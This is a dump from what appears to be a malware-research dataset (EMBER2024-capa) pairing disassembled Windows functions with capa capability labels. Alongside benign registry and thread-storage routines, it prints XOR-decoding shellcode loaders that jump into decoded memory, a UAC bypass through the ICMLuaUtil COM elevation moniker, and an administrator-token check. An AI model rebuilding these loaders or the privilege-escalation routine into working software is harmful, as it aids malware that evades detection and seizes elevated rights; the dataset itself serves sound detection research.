joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46ce51
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x4a8420]
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor ebx, ebx
push str.kernel32.dll
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], ebx
xor esi, esi
call edi
push str.GetUserDefaultUILanguage
push eax
mov dword [ebp - 0x20], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x46cef3
call eax
mov esi, dword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
mov ebx, 0x3ff
mov edi, 0xfc00
mov dword [ebp - 0x18], eax
movzx eax, ax
mov ecx, eax
and ecx, ebx
movzx ecx, cx
and eax, edi
or eax, ecx
push eax
mov dword [ebp - 0x1c], ecx
call esi
push dword [ebp - 0x1c]
mov dword [ebp - 0x3c], eax
call esi
push str.GetSystemDefaultUILanguage
push dword [ebp - 0x20]
mov dword [ebp - 0x38], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
mov dword [ebp - 0x18], eax
movzx eax, ax
mov ecx, eax
and ecx, ebx
movzx ebx, cx
and eax, edi
or eax, ebx
push eax
call esi
push ebx
mov dword [ebp - 0x34], eax
call esi
mov dword [ebp - 0x30], eax
push 4
xor ebx, ebx
jmp 0x46cff5
call dword [sym.imp.KERNEL32.dll_GetVersion]
test eax, eax
jns 0x46cfa3
lea eax, [ebp - 0x1c]
push eax
push 0x20019
push ebx
push str.Control_PanelDesktopResourceLocale
push OleUIPasteSpecialA
mov dword [ebp - 0x1c], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x46cff6
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x24]
push eax
push ebx
push ebx
push dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x10
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x46cf98
cmp dword [ebp - 0x24], 1
jne 0x46cf98
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x14]
push 0x48620c
push eax
call fcn.0043d325
add esp, 0xc
cmp eax, 1
jne 0x46cf98
mov eax, dword [ebp - 0x28]
mov esi, dword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
mov dword [ebp - 0x18], eax
movzx eax, ax
mov ecx, eax
and ecx, 0x3ff
movzx edi, cx
and eax, 0xfc00
or eax, edi
push eax
call esi
push edi
mov dword [ebp - 0x3c], eax
call esi
push 2
mov dword [ebp - 0x38], eax
pop esi
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x46cff6
push str.ntdll.dll
call edi
cmp eax, ebx
je 0x46cff6
lea ecx, [ebp - 0x18]
push ecx
push 0x46ce3b
push 1
push 0x10
push eax
mov dword [ebp - 0x18], ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceLanguagesA]
cmp word [ebp - 0x18], bx
je 0x46cff6
movzx eax, word [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
mov ecx, eax
and ecx, 0x3ff
movzx edi, cx
and eax, 0xfc00
or eax, edi
push eax
call esi
push edi
mov dword [ebp - 0x3c], eax
call esi
mov dword [ebp - 0x38], eax
push 2
pop esi
mov dword [ebp + esi*4 - 0x3c], 0x800
inc esi
xor edi, edi
cmp esi, ebx
jle 0x46d01c
push dword [ebp + edi*4 - 0x3c]
push dword [ebp + 8]
call fcn.0046cdbc
cmp eax, ebx
pop ecx
pop ecx
jne 0x46d01e
inc edi
cmp edi, esi
jl 0x46d005
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
pop ebx
call fcn.0043b1ae
leave
ret 4
Function at 0x46d02d
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push edi
xor edi, edi
mov dword [ecx + 0x9c], edi
cmp dword [str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer], edi
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
mov dword [ebp - 0x14], 4
mov dword [ebp - 0xc], edi
mov ebx, 0x4a72c4
je 0x46d0e9
push esi
lea eax, [ebp - 4]
push eax
push 1
push edi
push dword [ebx]
push OleUIPasteSpecialA
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x46d0d1
mov esi, dword [ebx + 4]
jmp 0x46d0cb
lea ecx, [ebp - 0x14]
push ecx
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 0xc]
push ecx
push edi
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x46d0bb
cmp dword [ebp - 0xc], 4
jne 0x46d0bb
cmp dword [ebp - 8], edi
mov eax, dword [ebp - 0x10]
mov ecx, dword [esi + 4]
je 0x46d0b3
or dword [eax + 0x9c], ecx
jmp 0x46d0bb
not ecx
and dword [eax + 0x9c], ecx
mov dword [ebp - 8], edi
mov dword [ebp - 0x14], 4
mov dword [ebp - 0xc], edi
add esi, 8
mov eax, dword [esi]
cmp eax, edi
jne 0x46d07f
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add ebx, 8
cmp dword [ebx], edi
mov dword [ebp - 4], edi
jne 0x46d062
pop esi
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
inc eax
pop ebx
leave
ret

Function at 0x46d965
Capabilities:
Query or enumerate registry key

Disassembly:
mov eax, 0x480cf1
call fcn.0043eb3c
sub esp, 0x11c
mov eax, dword [0x4a8420]
push ebx
push esi
push edi
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [ebp - 0x10], esp
lea ecx, [ebp - 0x124]
push ecx
push eax
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov esi, eax
test esi, esi
jne 0x46da5e
push 0x104
lea eax, [ebp - 0x11c]
push eax
push 0
push dword [ebp - 0x124]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
mov esi, eax
test esi, esi
jne 0x46da32
and dword [ebp - 4], eax
lea eax, [ebp - 0x11c]
push eax
lea ecx, [ebp - 0x120]
call fcn.00404380
lea eax, [ebp - 0x120]
push eax
push dword [ebp - 0x124]
mov byte [ebp - 4], 1
call fcn.0046d965
mov ecx, dword [ebp - 0x120]
mov esi, eax
test esi, esi
setne bl
add ecx, 0xfffffff0
mov byte [ebp - 4], 0
call fcn.00401a90
test bl, bl
jne 0x46da32
or dword [ebp - 4], 0xffffffff
jmp 0x46d9a3
cmp esi, 0x103
je 0x46da42
cmp esi, 0x3f2
jne 0x46da52
mov eax, dword [ebp + 0xc]
push dword [eax]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, eax
push dword [ebp - 0x124]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
mov eax, esi
call fcn.0043b1ae
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x46ddf9
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
mov eax, 0x480d93
call fcn.0043eb3c
mov eax, 0x1014
call fcn.0043b140
mov eax, dword [0x4a8420]
push ebx
push edi
xor edi, edi
mov dword [ebp - 0x101c], edi
cmp dword [ecx + 0x50], edi
mov dword [ebp - 0x10], eax
je 0x46def4
push dword [ebp + 0xc]
call fcn.0046dd4a
cmp eax, edi
mov dword [ebp - 0x1014], eax
jne 0x46de42
push dword [ebp + 0x14]
jmp 0x46df25
push esi
call fcn.004553d5
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
lea ebx, [eax + 0x10]
mov dword [ebp + 0xc], ebx
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x1020]
push eax
push edi
lea eax, [ebp - 0x101c]
push eax
push edi
push dword [ebp + 0x10]
mov dword [ebp - 4], edi
push dword [ebp - 0x1014]
call esi
cmp eax, edi
mov dword [ebp - 0x1018], eax
jne 0x46debf
lea eax, [ebp - 0x1020]
push eax
push dword [ebp - 0x1020]
lea ecx, [ebp + 0xc]
call fcn.00401fb0
push eax
lea eax, [ebp - 0x101c]
push eax
push edi
push dword [ebp + 0x10]
push dword [ebp - 0x1014]
call esi
push 0xffffffffffffffff
lea ecx, [ebp + 0xc]
mov dword [ebp - 0x1018], eax
call fcn.0042bfd0
mov ebx, dword [ebp + 0xc]
push dword [ebp - 0x1014]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x1018], edi
mov ecx, dword [ebp + 8]
pop esi
jne 0x46dee2
lea eax, [ebp + 0xc]
push eax
call fcn.0042a000
jmp 0x46deea
push dword [ebp + 0x14]
call fcn.00404380
lea ecx, [ebx - 0x10]
call fcn.00401a90
jmp 0x46df2d
cmp dword [ebp + 0x14], edi
jne 0x46df00
mov dword [ebp + 0x14], 0x484917
push dword [ecx + 0x64]
lea eax, [ebp - 0x1010]
push 0x1000
push eax
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x1010]
push eax
mov ecx, dword [ebp + 8]
call fcn.00404380
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop edi
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
pop ebx
call fcn.0043b1ae
leave
ret 0x10

Function at 0x46e86d
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edi, dword [esp + 0x10]
test edi, edi
jle 0x46e8a2
cmp edi, dword [esi + 0xc]
jge 0x46e8a2
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x46e8a2
cmp edi, dword [eax + 8]
jge 0x46e8a2
mov eax, dword [eax + 0xc]
mov edi, dword [eax + edi*4]
jmp 0x46e8a4
xor edi, edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, edi
pop edi
pop esi
pop ebx
ret 4

Function at 0x46e9a8
Capabilities:
Allocate thread local storage

Disassembly:
xor eax, eax
push esi
mov esi, ecx
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], eax
mov dword [esi + 0x18], 4
mov dword [esi + 4], eax
mov dword [esi + 8], 1
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
mov dword [esi], eax
jne 0x46e9dc
jmp fcn.0044dfa5
lea eax, [esi + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, esi
pop esi
ret
Function at 0x46ea4d
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea esi, [edi + 0x1c]
push esi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [ebp + 8]
xor ebx, ebx
cmp eax, ebx
jle 0x46eb46
cmp eax, dword [edi + 0xc]
jge 0x46eb46
push dword [edi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esi, eax
cmp esi, ebx
je 0x46ea9e
mov ecx, dword [ebp + 8]
cmp ecx, dword [esi + 8]
jl 0x46eb2f
cmp dword [ebp + 0xc], ebx
je 0x46eb2f
jmp 0x46eac8
push 0x10
call fcn.0046e739
cmp eax, ebx
je 0x46eab4
mov ecx, eax
call fcn.0046e99f
mov esi, eax
jmp 0x46eab6
xor esi, esi
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
mov ecx, dword [edi + 0x14]
mov eax, dword [edi + 0x18]
mov dword [esi + eax], ecx
mov dword [edi + 0x14], esi
mov eax, dword [esi + 0xc]
cmp eax, ebx
jne 0x46eadf
mov eax, dword [edi + 0xc]
shl eax, 2
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
jmp 0x46eaef
mov ecx, dword [edi + 0xc]
push 2
shl ecx, 2
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
cmp eax, ebx
jne 0x46eb01
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call fcn.0044dfa5
mov ecx, dword [esi + 8]
mov dword [esi + 0xc], eax
mov edx, dword [edi + 0xc]
sub edx, ecx
shl edx, 2
push edx
lea eax, [eax + ecx*4]
push ebx
push eax
call fcn.0043e710
mov eax, dword [edi + 0xc]
add esp, 0xc
push esi
mov dword [esi + 8], eax
push dword [edi]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov ecx, dword [ebp + 8]
mov eax, dword [esi + 0xc]
cmp eax, ebx
je 0x46eb41
cmp ecx, dword [esi + 8]
jge 0x46eb41
mov edx, dword [ebp + 0xc]
mov dword [eax + ecx*4], edx
push dword [ebp - 4]
jmp 0x46eb47
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x46ec06
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x46ec34
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x46ec52
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0046eb70
jmp 0x46ec52
mov eax, dword [esi + 0x14]
test eax, eax
je 0x46ec52
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
push eax
mov ecx, esi
call fcn.0046eb70
test edi, edi
mov eax, edi
jne 0x46ec3c
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
mov ecx, dword [0x73f154]
test ecx, ecx
je 0x46ed05
jmp 0x46ec05
ret 8
Function at 0x41c437
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x41c446
pop dword [ebp - 0x44]
mov eax, 0x41c446
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x1c3d261a
sub dword [ebp - 0x54], 0xcdeae0cf
mov dword [ebp - 0x50], 0xeb114839
sub dword [ebp - 0x50], 0xb8ddfbf4
mov dword [ebp - 0x4c], 0x5d218c15
sub dword [ebp - 0x4c], 0x10d547e7
mov dword [ebp - 0x48], 0x34a5e633
add dword [ebp - 0x48], 0xcb5a19cd
lea eax, [ebp - 0x54]
push eax
mov eax, 0xc1de6385
add eax, 0x3e63fccf
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0xb8a574f9
sub dword [ebp - 0x54], 0x44330ba3
mov dword [ebp - 0x50], 0xe887abab
add dword [ebp - 0x50], 0x58e4b5ca
mov dword [ebp - 0x4c], 0x9cff2b12
sub dword [ebp - 0x4c], 0x398fbea6
mov dword [ebp - 0x48], 0xe6b16d16
sub dword [ebp - 0x48], 0xe6b16d16
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x3bc95
push 0
call eax
mov ecx, 0x5f26b263
sub ecx, 0x5f267230
mov esi, eax
mov edi, 0x43ea00
add edi, dword [ebp - 0x44]
mov ebx, 0x4597caa
sub ebx, 0xd9e8cbdb
xor dword [ebp - 0x2c], edi
mov edx, dword [edi]
add edx, ebx
mov dword [esi], edx
add esi, 0xa95e582e
add esi, 0x56a1a7d6
add edi, 0x368d5399
add edi, 0xc972ac6b
loop 0x41c558
add eax, 0x7dbf2715
sub eax, 0x7dbe3376
xor ebx, ebx
add ebx, eax
add eax, 0x7170bebe
sub eax, 0x7170beb9
mov ecx, 0x8b5ea936
sub ecx, 0x8b1ea936
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x40110c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x818030]
jne 0x401116
repz ret
jmp fcn.00401b11

Function at 0x408edc
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004047d5
and dword [ebp - 4], 0
cmp dword [0x81a78c], 0
mov ebx, eax
jne 0x408f8d
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40903e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40903e
push eax
call fcn.00404763
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x81a78c], eax
call esi
push eax
call fcn.00404763
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x81a790], eax
call esi
push eax
call fcn.00404763
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x81a794], eax
call esi
push eax
call fcn.00404763
pop ecx
mov dword [0x81a79c], eax
test eax, eax
je 0x408f8d
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00404763
pop ecx
mov dword [0x81a798], eax
mov eax, dword [0x81a798]
cmp eax, ebx
je 0x408fe5
cmp dword [0x81a79c], ebx
je 0x408fe5
push eax
call fcn.004047de
push dword [0x81a79c]
mov esi, eax
call fcn.004047de
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x408fe5
test edi, edi
je 0x408fe5
call esi
test eax, eax
je 0x408fdc
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x408fdc
test byte [ebp - 0xc], 1
jne 0x408fe5
or dword [ebp + 0x10], 0x200000
jmp 0x40901e
mov eax, dword [0x81a790]
cmp eax, ebx
je 0x40901e
push eax
call fcn.004047de
pop ecx
test eax, eax
je 0x40901e
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40901e
mov eax, dword [0x81a794]
cmp eax, ebx
je 0x40901e
push eax
call fcn.004047de
pop ecx
test eax, eax
je 0x40901e
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x81a78c]
call fcn.004047de
pop ecx
test eax, eax
je 0x40903e
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x409040
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40af90
Capabilities:
Set console window title

Disassembly:
sub esp, 0x428
mov eax, dword [0x818030]
xor eax, esp
mov dword [esp + 0x424], eax
mov eax, dword [0x2ed309c]
push ebx
mov ebx, dword [0x2ed2ee8]
push esi
mov esi, dword [0x818f60]
push edi
mov edi, eax
cmp eax, 0x930
jne 0x40afd1
push str.lefovuweceh
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov eax, dword [0x2ed309c]
mov dword [0x81a8f4], esi
cmp eax, 0x114e
jne 0x40affb
push 0
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
lea eax, [esp + 0x14]
push eax
push str.durinarusunavabaxomoyowev
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
mov eax, dword [0x2ed309c]
cmp eax, 0x2f
jne 0x40b01d
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ReadEventLogW]
call fcn.0040af00
mov ecx, dword [esp + 0x430]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040110c
add esp, 0x428
ret
Function at 0x1000f188
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x1000f197
pop dword [ebp - 0x2c]
mov eax, 0x51f889cf
sub eax, 0x41f79838
sub dword [ebp - 0x2c], eax
push 0x40
push 0x1000
push 0x3a275
push 0
mov eax, 0x45d85dbf
sub eax, 0x35d71d5b
add eax, dword [ebp - 0x2c]
call dword [eax]
mov ecx, 0xefa4310b
add ecx, 0x105c1b40
xor edi, edi
add edi, eax
mov ebx, 0xedf71bf0
add ebx, 0x220a6a10
add ebx, dword [ebp - 0x2c]
mov esi, 0xdbb9f8ea
add esi, 0x80a2d398
xor dword [ebp - 0x10], esi
mov edx, dword [ebx]
xor dword [ebp - 0xc], 0xeb84615b
xor edx, esi
xor dword [ebp - 0x20], 0xdb7bcbdf
mov dword [edi], edx
add edi, 0x34dcc1f7
sub edi, 0x34dcc1f3
add ebx, 4
loop 0x1000f1f8
add eax, 0x347f9224
add eax, 0xcb8191db
xor ebx, ebx
add ebx, eax
add eax, 0x4262eb5a
sub eax, 0x4262eb55
mov ecx, 0x10000000
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x1000bc8a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x1000bc99
pop dword [ebp - 0x4c]
mov eax, 0x13b6eeee
sub eax, 0x3b63255
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x38bc7
push 0
mov eax, 0xd4276c5c
add eax, 0x3bdb24b0
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0x5a35fb1b
add ecx, 0xa5ca453a
xor edi, edi
add edi, eax
mov ebx, 0x10046c00
add ebx, dword [ebp - 0x4c]
mov edx, 0xee2b37a0
sub edx, 0xb505514b
xor dword [ebp - 0x38], 0xf1f1ab90
mov esi, dword [ebx]
sub dword [ebp - 0x40], 0x61bfd45a
add esi, edx
add dword [ebp - 0x24], esi
mov dword [edi], esi
xor dword [ebp - 0x3c], ecx
add edi, 0x991f0d6b
add edi, 0x66e0f299
add ebx, 4
loop 0x1000bcf4
add eax, 0xf427
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x61c6c5c
add ecx, 0x9e393a4
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x10001060
Capabilities:
Bypass uac via icmluautil

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x464
mov eax, dword [0x1000f020]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push ebx
push esi
push edi
mov dword [ebp - 0x434], eax
mov dword [ebp - 0x430], eax
mov dword [ebp - 0x42c], eax
mov dword [ebp - 0x424], eax
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x41c], eax
lea eax, [ebp - 0x438]
xor esi, esi
push eax
push str.3E5FC7F9_9A51_4367_9063_A120244FBEC7
mov edi, ecx
mov dword [ebp - 0x438], esi
mov dword [ebp - 0x428], esi
mov dword [ebp - 0x460], esi
call dword [sym.imp.ole32.dll_CLSIDFromString]
lea ecx, [ebp - 0x428]
push ecx
push str.6EDD6D74_C007_4E75_B76A_E5740995E24C
call dword [sym.imp.ole32.dll_IIDFromString]
push 0x206
lea eax, [ebp - 0x416]
xor edx, edx
push esi
push eax
mov word [ebp - 0x418], dx
call fcn.10004760
push 0x206
lea edx, [ebp - 0x20e]
xor ecx, ecx
push esi
push edx
mov word [ebp - 0x210], cx
call fcn.10004760
add esp, 0x18
push esi
call dword [sym.imp.ole32.dll_CoInitialize]
push 0x104
lea eax, [ebp - 0x418]
push eax
lea ecx, [ebp - 0x438]
push ecx
call dword [sym.imp.ole32.dll_StringFromGUID2]
lea edx, [ebp - 0x418]
push edx
push 0x1000d17c
mov ecx, 0x104
lea ebx, [ebp - 0x210]
call section..text
add esp, 8
cmp eax, esi
jl 0x100011e8
xor eax, eax
mov dword [ebp - 0x45c], eax
mov dword [ebp - 0x448], eax
mov dword [ebp - 0x43c], eax
mov dword [ebp - 0x458], eax
mov dword [ebp - 0x454], eax
mov dword [ebp - 0x450], eax
mov dword [ebp - 0x44c], eax
mov dword [ebp - 0x444], eax
mov dword [ebp - 0x440], eax
lea eax, [ebp - 0x460]
push eax
lea ecx, [ebp - 0x428]
push ecx
lea edx, [ebp - 0x45c]
push edx
mov eax, ebx
push eax
mov dword [ebp - 0x45c], 0x24
mov dword [ebp - 0x43c], esi
mov dword [ebp - 0x448], 4
call dword [sym.imp.ole32.dll_CoGetObject]
cmp eax, esi
jl 0x100011e8
mov eax, dword [ebp - 0x460]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x24]
push esi
push esi
push esi
push str.msvcr100.dll
push edi
push eax
call edx
lea edi, [esi + 1]
test eax, eax
jns 0x100011ea
mov edi, esi
mov eax, dword [ebp - 0x460]
cmp eax, esi
je 0x100011fc
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10002661
mov esp, ebp
pop ebp
ret
Function at 0x10001380
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x1000f020]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x10]
push eax
xor ebx, ebx
push ebx
push 8
mov dword [ebp - 0xc], ebx
mov word [ebp - 8], 0x500
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenThreadToken]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x100013f2
call esi
cmp eax, 0x3f0
jne 0x100013dc
lea ecx, [ebp - 0x10]
push ecx
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x100013f2
xor eax, eax
lea esp, [ebp - 0x28]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10002661
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x10]
mov edi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
lea edx, [ebp - 0x14]
push edx
push ebx
push ebx
push 2
push eax
call edi
test eax, eax
jne 0x100013dc
call esi
cmp eax, 0x7a
jne 0x100013dc
mov eax, dword [ebp - 0x14]
add eax, 8
cmp eax, 0x400
ja 0x10001434
call fcn.10009750
mov esi, esp
cmp esi, ebx
je 0x100013dc
mov dword [esi], 0xcccc
add esi, 8
jmp 0x1000144c
push eax
call fcn.10002670
add esp, 4
cmp eax, ebx
je 0x1000144a
mov dword [eax], 0xdddd
add eax, 8
mov esi, eax
cmp esi, ebx
je 0x100013dc
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x14]
push ecx
push edx
push esi
push 2
push eax
call edi
test eax, eax
je 0x100013dc
lea ecx, [ebp - 0x18]
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea edx, [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x100013dc
xor edi, edi
mov dword [ebp - 0x1c], ebx
cmp dword [esi], ebx
jbe 0x100014c9
lea ebx, [esi + 4]
lea ebx, [ebx]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebx]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
jne 0x100014bb
inc edi
add ebx, 8
cmp edi, dword [esi]
jb 0x100014a0
jmp 0x100014c9
test byte [esi + edi*8 + 8], 4
je 0x100014c9
mov dword [ebp - 0x1c], 1
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [ebp - 0x1c]
lea esp, [ebp - 0x28]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10002661
mov esp, ebp
pop ebp
ret